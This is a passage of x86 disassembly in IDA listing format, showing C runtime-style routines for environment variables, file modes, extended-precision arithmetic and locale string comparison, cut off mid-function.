		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4E0C00
		and	dword_4E0C00, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_4421FC
		mov	dword_4421FC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_4421F0
		mov	ecx, dword_4421F4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:442180h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_4421FC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4E0C00, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_4421FC, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_4421F8
		cmp	dword_44217C, edx
		push	esi
		mov	eax, offset dword_442178
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:442178h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:442178h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4E21D0, 0
		push	ebx
		push	esi
		mov	esi, dword_4E0B50
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4E0B58, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4E0B50
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4E1F80
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4E1E80[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4E0B28, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4E0B28, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_442678
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4427D8
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4E1F84
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4E21A4
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4E0B58
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4E0E38, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4E0E38, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4D06DC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F073Eh
		test	eax, eax
		jz	loc_42616C
		mov	dword_4E0E38, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4E0E38
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F073Eh
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 28E0000h
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2830000h
		nop
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 25F0000h
		nop
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4E0B50
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4E0B54
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4E0B50, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4E0B58, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4E0B50, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4E0B58, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4E0B58, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4E0B50
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
